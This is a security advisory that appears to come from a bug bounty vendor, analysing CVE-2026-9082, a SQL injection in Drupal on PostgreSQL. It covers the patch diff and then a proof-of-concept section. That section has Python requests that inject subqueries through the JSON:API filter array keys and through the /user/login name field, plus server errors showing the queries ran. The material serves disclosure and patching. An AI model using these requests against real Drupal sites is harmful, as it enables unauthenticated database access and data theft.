CVE-2026-9082: PostgreSQL SQL Injection in Drupal

May 22, 2026

Security Alert: PostgreSQL SQL Injection in Drupal

CVE-2026-9082 (aka SA-CORE-2026-004) is a PostgreSQL-specific SQL injection vulnerability in Drupal’s entity query subsystem.
The flaw arises from unsafe handling of associative array keys during PostgreSQL-specific entity query condition translation.

The vulnerability affects code paths where:

  • attacker-controlled input reaches an entity query condition,
  • the condition value is an array,
  • Drupal is configured to use a PostgreSQL backend
  • and the field comparison is case-insensitive.

The root cause is that associative array keys are concatenated into generated SQL placeholder identifiers without sanitization or canonicalization.

The patch neutralizes the issue by canonicalizing attacker-controlled arrays with array_values(), thereby discarding attacker-supplied keys before SQL generation.

The YesWeHack platform can map your external attack surface, identify instances running versions affected by actively exploited vulnerabilities, and run targeted security checkpoints across your perimeter to confirm real exploitability – giving your team a clear, actionable view of the risk. Find out how you can mitigate actively exploited vulnerabilities.

Patch analysis

The diff between, e.g., versions 11.3.9 and 11.3.10, modifies two files:

  • core/lib/Drupal/Core/Entity/Query/Sql/Condition.php
  • core/lib/Drupal/Core/Entity/Query/Sql/ConditionAggregate.php

Specifically this:

1+ if (is_array($condition['value'])) {
2+ $condition['value'] = array_values($condition['value']);
3+ }

...is inserted respectively before:

1static::translateCondition(...)

...and:

1$condition_class::translateCondition(...)

in the Condition::compile() method. This method is responsible for compiling Drupal entity queries into backend-specific SQL.

When Drupal is configured to use PostgreSQL, translateCondition is overridden in core/lib/Drupal/Core/Entity/Query/Sql/pgsql/Condition.php:

1 public static function translateCondition(&$condition, SelectInterface $sql_query, $case_sensitive) {
2 if (is_array($condition['value']) && $case_sensitive === FALSE) {
3 $condition['where'] = 'LOWER(' . $sql_query->escapeField($condition['real_field']) . ') ' . $condition['operator'] . ' (';
4 $condition['where_args'] = [];
5
6 // Only use the array values in case an associative array is passed as an
7 // argument following similar pattern in
8 // \Drupal\Core\Database\Connection::expandArguments().
9 $where_prefix = str_replace('.', '_', $condition['real_field']);
10 foreach ($condition['value'] as $key => $value) {
11 $where_id = $where_prefix . $key;
12 $condition['where'] .= 'LOWER(:' . $where_id . '),';
13 $condition['where_args'][':' . $where_id] = $value;
14 }
15 $condition['where'] = trim($condition['where'], ',');
16 $condition['where'] .= ')';
17 }
18 parent::translateCondition($condition, $sql_query, $case_sensitive);
19 }

When $case_sensitive is FALSE and the condition value is an array, it iterates over its (key,value) pairs and generates:

  • SQL placeholders from $key
  • corresponding value in $condition['where_args']

The generated placeholder identifiers are concatenated into the SQL expression inside the LOWER(...) function without sanitization.

Although the placeholder values remain parameterized, the placeholder identifiers themselves are constructed from attacker-controlled array keys and concatenated directly into the SQL expression

Therefore, if $condition['value'] is something like

1[
2 '0||(SELECT version())' => 'x'
3]

0||(SELECT version()) gets transformed into a SQL placeholder, verbatim:

1$condition['where'] = ... LOWER(:field_0||(SELECT version())) ...

Provided that we control those keys and forge a syntactically valid SQL postfix subquery to the placeholder, we can submit arbitrary SELECT queries to the Postgres DB…

Potential impacts include:

  • sensitive data exfiltration,
  • authentication bypass,
  • privilege escalation,
  • or broader database compromise depending on PostgreSQL permissions.

The 3 lines added by the patch ensure that $condition['value'] is never an arbitrary associative array anymore, by taking its array_values() instead (which replaces keys with integer indices):

1[
2 '0||(SELECT version())' => 'x'
3]

...becomes:

1[
2 0 => 'x'
3]

...thus shielding placeholders against attacker-controlled keys.

Proof-of-Concept

Via JSON:API endpoints

Unauthenticated remote exploitation is straightforward, especially when the JSON:API module is enabled to expose the jsonapi/node/{type} endpoints, e.g., to allow API-based filtering and search among article, user and page entities.

We can trigger the vulnerability using a crafted HTTP GET to one of these endpoints:

1requests.get(f"{BASE_URL}/jsonapi/node/article", params={
2 "filter[f][condition][path]": "title",
3 "filter[f][condition][operator]": "IN",
4 "filter[f][condition][value][0]": "legit",
5 "filter[f][condition][value][0||( SELECT BADABOOM )]": "x"
6})

Here, we leverage the “IN” operator to enter the array condition branch, and because PostgreSQL treats || as a string concatenation operator, we inject an inspired SQL subquery, that will get executed by the Postgres server (in this precise case, the API will return a 500 error, with following JSON content:

1{
2 "jsonapi": {
3 "version": "1.0",
4 "meta": {
5 "links": {
6 "self": {
7 "href": "http:\/\/jsonapi.org\/format\/1.0\/"
8 }
9 }
10 }
11 },
12 "errors": [
13 {
14 "title": "Internal Server Error",
15 "status": "500",
16 "detail": "SQLSTATE[42703]: Undefined column: 7 ERROR: column \u0022badaboom\u0022 does not exist\nLINE 7: ...\u0022) IN (LOWER(\u0027legit\u0027),LOWER(\u0027legit\u0027||( SELECT BADABOOM ...\n ^: SELECT \u0022base_table\u0022.\u0022vid\u0022 AS \u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022 AS \u0022nid\u0022\nFROM\n\u0022node\u0022 \u0022base_table\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data\u0022 ON \u0022node_field_data\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_2\u0022 ON \u0022node_field_data_2\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nINNER JOIN \u0022node_field_data\u0022 \u0022node_field_data_3\u0022 ON \u0022node_field_data_3\u0022.\u0022nid\u0022 = \u0022base_table\u0022.\u0022nid\u0022\nWHERE ((LOWER(\u0022node_field_data\u0022.\u0022title\u0022) IN (LOWER(:node_field_data_title0),LOWER(:node_field_data_title0||( SELECT BADABOOM ))))) AND (\u0022node_field_data_2\u0022.\u0022status\u0022 = :db_condition_placeholder_0) AND (\u0022node_field_data_3\u0022.\u0022type\u0022 = :db_condition_placeholder_1)\nGROUP BY \u0022base_table\u0022.\u0022vid\u0022, \u0022base_table\u0022.\u0022nid\u0022\nLIMIT 51 OFFSET 0; Array\n(\n [:node_field_data_title0] =\u003E legit\n [:node_field_data_title0||( SELECT BADABOOM )] =\u003E y\n [:db_condition_placeholder_0] =\u003E 1\n [:db_condition_placeholder_1] =\u003E article\n)\n",
17 "links": {
18 "via": {
19 "href": "http:\/\/127.0.0.1:8888\/jsonapi\/node\/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title\u0026filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=IN\u0026filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D%5B0%5D=legit\u0026filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D%5B0%7C%7C%28%20%20%20%20%20SELECT%20BADABOOM%20%20%20%20%29%5D=y"
20 },
21 "info": {
22 "href": "https:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec10.html#sec10.5.1"
23 }
24 }
25 }
26 ]
27}

column \u0022badaboom\u0022 does not exist shows that the dumb subquery has been executed on the Postgres server.

Via /user/login with name array

Whenever the JSON:API endpoints aren’t enabled, CVE-2026-9082 is still reachable via a POST request to /user/login, which is typically publicly exposed:

1requests.post(
2 BASE_URL + "/user/login?_format=json",
3 json={
4 "name": {"0": "x", "0||(SELECT BADABOOM)": "x"},
5 "pass": "x",
6 },
7)

goes through the same vulnerable Condition codepath. We obtain a 500 error instead of the typical 400 Sorry, unrecognized username or password error. Drupal logs show

1[Fri May 22 07:45:49.465785 2026] [php:notice] [pid 19:tid 19] [client 172.21.0.1:59912] Uncaught PHP Exception Drupal\\Core\\Database\\DatabaseExceptionWrapper: "SQLSTATE[42703]: Undefined column: 7 ERROR: column "badaboom" does not exist\nLINE 5: ...d_data"."name") IN (LOWER('x'),LOWER('x'||(SELECT BADABOOM))...\n ^: SELECT "base_table"."uid" AS "uid", "base_table"."uid" AS "base_table_uid"\nFROM\n"users" "base_table"\nINNER JOIN "users_field_data" "users_field_data" ON "users_field_data"."uid" = "base_table"."uid"\nWHERE ((LOWER("users_field_data"."name") IN (LOWER(:users_field_data_name0),LOWER(:users_field_data_name0||(SELECT BADABOOM))))) AND ("users_field_data"."status" IN (:db_condition_placeholder_0)) AND ("users_field_data"."default_langcode" IN (:db_condition_placeholder_1)); Array\n(\n [:users_field_data_name0] => x\n [:users_field_data_name0||(SELECT BADABOOM)] => x\n [:db_condition_placeholder_0] => 1\n [:db_condition_placeholder_1] => 1\n)\n" at /opt/drupal/web/core/lib/Drupal/Core/Database/ExceptionHandler.php line 66
2172.21.0.1 - - [22/May/2026:07:45:49 +0000] "POST /user/login?_format=json HTTP/1.1" 500 534 "-" "python-requests/2.31.0"

A complete reproduction environment, including vulnerable and patched Docker Compose setups and a Python detection PoC, is available at https://github.com/ywh-jfellus/CVE-2026-9082

Staying ahead of the next Drupal CVE

Vulnerabilities like this one are a reminder that even the most mature, widely-trusted CMS platforms can ship with critical flaws, and that attackers are quick to weaponize them once disclosed.

The window between public disclosure and active exploitation keeps shrinking, which means speed is more important than ever before.

Don't wait for the next CVE to catch you off guard. Here's how we help:

  • Get a comprehensive view of your internet-facing assets such as web applications, APIs and cloud infrastructure.
  • Identify the vulnerabilities that matter most: trending CVEs, misconfigurations and subdomain takeovers. Stay ahead of mass exploitation campaigns with our curated checkpoints.
  • Cut through the noise with high-value findings and automatically prioritised risks.

Check out our Autonomous Pentest solution to gain visibility of your entire attack surface and uncover dangerous, exploitable vulnerabilities.